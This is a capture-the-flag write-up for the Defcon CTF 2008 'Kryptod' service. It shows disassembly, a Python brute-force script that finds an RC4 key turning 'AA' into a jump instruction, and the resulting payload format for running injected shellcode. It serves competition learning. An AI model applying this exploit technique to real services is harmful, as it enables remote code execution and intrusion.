This year at the Defcon CTF there was only one kenshoto-level service (or at least only one that scored as a Kenshoto, you’ll know what we mean in further writeups). That service was Kryptod, so we will be trying to explain how we managed to exploit it.
As in the major part of the CTF bins the service starts setting up the socket, in this case listening at port 20020, and dropping the proper user privileges. Then it sets up signal handlers for SIGILL, SIGTRAP, SIGEMT, SIGBUS, SIGSEGV, SIGSYS and SIGALRM. The handler is always the same and it just uses the current socket to send back to the client an encoded value related to the signal received and then doing a clean exit (let’s say it’s a nice way to say: “Hey, I crashed!”).
The next step is just the client handler. Kryptod reads the file ‘/home/krypto/key’ (the token) and put its contents into a buffer, then it reads from the socket up to 63 chars (or a terminating \x0A if it comes before). The next part is a bit tricky, if the socket received 0 bytes it justs send the contents of the token/keyfile to the user. WTF??? Strike one! No luck this time, the token is an overwrite one so reading it gives you nothing
If the server receives between 1 and 63 bytes, then uses them as an RC4 key (via RC4_set_key) to decrypt an static 32-byte buffer filled with ‘A’s:
char buf[32]; memset(buf, 'A', 32); key = RC4_set_key(user_data, strlen(user_data)); RC4(key, 32, buf, buf); buf(); // call buf
And here comes the funny part. After setting an alarm for 2 seconds (as a protection against hangs) it just jumps into the decrypted buffer. That’s all, we just need to send kryptod a key to decrypt ‘A’x32 into executable code (shellcode to overwrite the token). The problem is that decrypting 64 bytes into a full shellcode will requiere a really heavy bruteforcing process, so we need to cut down as many bytes as we can. Looking at the assembly, we can find a really easy way to do it with only 2 bytes:
.text:08048D30 push ebx ; user_data .text:08048D31 cld .text:08048D32 xor eax, eax ; 0-terminating user_data .text:08048D34 mov edi, ebx .text:08048D36 mov ecx, 0FFFFFFFFh .text:08048D3B repne scasb .text:08048D3D not ecx .text:08048D3F dec ecx .text:08048D40 push ecx ; len .text:08048D41 lea ebx, [ebp+rc4_key] .text:08048D47 push ebx ; key .text:08048D48 call _RC4_set_key .text:08048D4D push esi ; outdata .text:08048D4E push esi ; indata .text:08048D4F push 32 ; len .text:08048D51 push ebx ; key .text:08048D52 call _RC4 .text:08048D57 add esp, 14h .text:08048D5A push 2 ; secs .text:08048D5C call _alarm .text:08048D61 mov [esp+468h+unkn_flag], '1111' .text:08048D68 call esi
Okay, we need to send a payload in the way ‘OUR_RC4_KEY\x00SHELLCODE’. Doing that way and seeing how the strlen/repne scasb works, in 08048D68 the register edi points just to the beginning of our shellcode (after the \x00) so we only need to decrypt ‘AAAAA…’ into a “jmp edi” (FFE7) and kryptod is completely owned. The bruteforcing is a 5 seconds task and can be done with something like that:
from M2Crypto import RC4 import struct fixed_buf = 'AA' krypto = RC4.RC4() for i in range(0xFFFF): krypto.set_key(struct.pack('!H', i)) res = krypto.update(fixed_buf) if res[0] == '\xFF' and res[1] == '\xE7': print "Found key: ", hex(i) break
Using this simple bruteforcing you will find that 0×2211 decrypts ‘AA’ into ‘\xFF\xE7′, so the payload will be the ‘\x22\x11\x00′ followed by the shellcode. You don’t even need to put nops. There’s only one thing to care about. If you remember how many bytes the service reads from the socket, you’ll see that you need to use a 60 byte shellcode (63 bytes - 3 bytes for the key and the \x00), so using a stage2 shellcode is a good idea.
And that’s it!!! Following these steps you are breaking the Defcon CTF’08 Kenshoto-level service (one of the easiest ones we’ve seen).
See you in the next writeup